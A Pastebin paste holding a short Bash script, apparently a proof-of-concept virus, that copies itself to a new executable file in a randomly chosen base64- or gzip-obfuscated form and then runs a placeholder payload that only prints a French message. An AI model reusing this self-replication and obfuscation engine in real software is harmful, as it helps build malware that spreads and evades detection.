Advertisement
Guest User

Untitled

a guest
Aug 14th, 2013
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.90 KB | None | 0 0
  1. #!/bin/bash
  2. #echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(tail -n+3 $0 | base64 -w0)\")\neval \"\$prg\"\n" > virii && chmod +x virii && exit 0
  3.  
  4. function replication() {
  5.         case $1 in
  6.                 0)
  7.                         echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(base64 -w0 <<<${prg})\")\neval \"\$prg\"\n" > $$;
  8.                         chmod +x $$;;
  9.                 1)
  10.                         echo "$prg" > /tmp/z;
  11.                         gzip /tmp/z;
  12.                         echo -ne "#!/bin/bash\nprg=\$(tail -n+4 \$0 | gunzip 2>/dev/null)\neval \"\$prg\"\n" > $$;
  13.                         cat /tmp/z.gz >> $$;
  14.                         rm -f /tmp/z.gz;
  15.                         chmod +x $$;;
  16.         esac;
  17.         return;
  18. };
  19.  
  20. function run_payload() {
  21.         echo "je suis le vilain payload !";
  22.         return;
  23. };
  24.  
  25. i=$(( RANDOM % 2 ));
  26. replication $i;
  27. run_payload;
  28. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement